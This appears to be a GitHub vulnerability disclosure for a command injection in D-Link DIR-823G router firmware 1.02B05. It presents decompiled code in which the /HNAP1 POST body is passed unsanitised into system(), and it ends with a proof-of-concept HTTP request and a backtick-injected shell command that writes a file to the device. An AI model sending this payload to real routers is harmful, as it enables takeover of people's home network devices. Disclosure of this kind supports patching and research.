



wangshi [update dir823g vuln](#)



👤 0 contributors

⋮

Executable File 55 lines (28 sloc) 1.63 KB

⋮

D-Link DIR823G(1.02B05) has a Command Injection Vulnerability

Product

1. product information: <http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-823G>
2. firmware download: <http://support.dlink.com.cn:9000/download.ashx?file=7746>

Affected version

1.02B05

Vulnerability

A **command injection** vulnerability has been found on **D-Link DIR-823G** devices with firmware version **1.02B05** that allows an attacker to execute arbitrary operating system commands through well-designed **/HNAP1** requests. Before the HNAP API function can process the request, the system function executes an untrusted command that triggers the vulnerability

This is a user-defined handler function for different urls, and the `sub_42383C()` function corresponds to `websHNAPHandler()` function

```

43 sub_40D104(v6, v2, v1);
44 sub_4205C0(v6);
45 sub_42051C(v6);
46 sub_4053C4("default.asp");
47 sub_411D4C(off_5890B4);
48 sub_41BC40(dword_5890B8, dword_5890BC);
49 sub_40B1F4(&dword_4A3C4C, 0, 0, sub_4110F4, 1);
50 sub_40B1F4("/Hnap1", 0, 0, sub_42383C, 0);
51 sub_40B1F4("/goform", 0, 0, sub_40A810, 0);
52 sub_40B1F4("/cgi-bin", 0, 0, sub_403D00, 0);
53 sub_40B1F4("/EXCU_SHELL", 0, 0, sub_4234CC, 0);
54 sub_40B1F4(&dword_4A3C4C, 0, 0, sub_404940, 2);
55 sub_4110B4();
56 sub_40B1F4("/", 0, 0, sub_424320, 0);
57 result = 0;

```

The sub_42383C function is used to handle the different requests accepted by Hnap1 , and when a handler is found to call, the value of a7 is recorded in /var/hnaplog .

a7 is the POST body, it can be controlled and be passed to the system command. This will cause command injection vulnerability.

```

1 int __fastcall sub_42383C(int a1, int a2, int a3, int a4, int a5, int a6, const char *a7)
2 {
3     int v8; // [sp+34h] [+34h]
4     int v9; // [sp+38h] [+38h]
5     int v10; // [sp+40h] [+40h]
6     int v11[1277]; // [sp+4Ch] [+4Ch] BYREF
7
8     v10 = 0;
9     strcpy(
10         (char *)v11,
11         "HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n");
12     v9 = 0;
13     v11[26] = 0;
14     dword_58A6C0 = a1;
15     v8 = malloc(10240);
16     if ( v8 )
17     {
18         memset(v8, 0, 10240);
19         v9 = malloc(51200);
20         if ( v9 )
21         {
22             memset(v9, 0, 51200);
23             if ( *(_DWORD *) (a1 + 1316) )
24             {
25                 apmib_get(7011, &v11[26]);
26                 for ( dword_58A6C4 = (int)&off_588D80; *(_DWORD *)dword_58A6C4; dword_58A6C4 += 8 )
27                 {
28                     if ( strstr(*(_DWORD *) (a1 + 1316), *(_DWORD *)dword_58A6C4 ) )
29                     {
30                         memset(&v11[27], 0, 5000);
31                         snprintf(&v11[27], 4999, "echo '%s' >/var/hnaplog", a7); vuln
32                         system(&v11[27]);
33                         printf("wp->hnapfunc=====>%s\n", *(const char **) (a1 + 1316));
34                         if ( !strcmp(*(_DWORD *)dword_58A6C4, "GetLocalMac", 11) )
35                         {
36                             memset(&qword_58A6A0, 0, 32);
37                             strncpy(&qword_58A6A0, a1 + 48, 32);
38                         }
39                         if ( (*(int) (__fastcall *) (const char *) (dword_58A6C4 + 4)) (a7) )
40                             break;
41                     }
42                 }
43             }
44             else
45             {
46                 sub_432FA8(a7);
47             }
48         }
49     }
50 }

```


PoC

Poc of Denial of Service(DoS)

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.349
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

```
`echo hacked > /web_mtn/hacker.txt`
```



 © 2022 GitHub, Inc.

- [Terms](#)
- [Privacy](#)
- [Security](#)
- [Status](#)
- [Docs](#)
- [Contact GitHub](#)
- [Pricing](#)
- [API](#)
- [Training](#)
- [Blog](#)
- [About](#)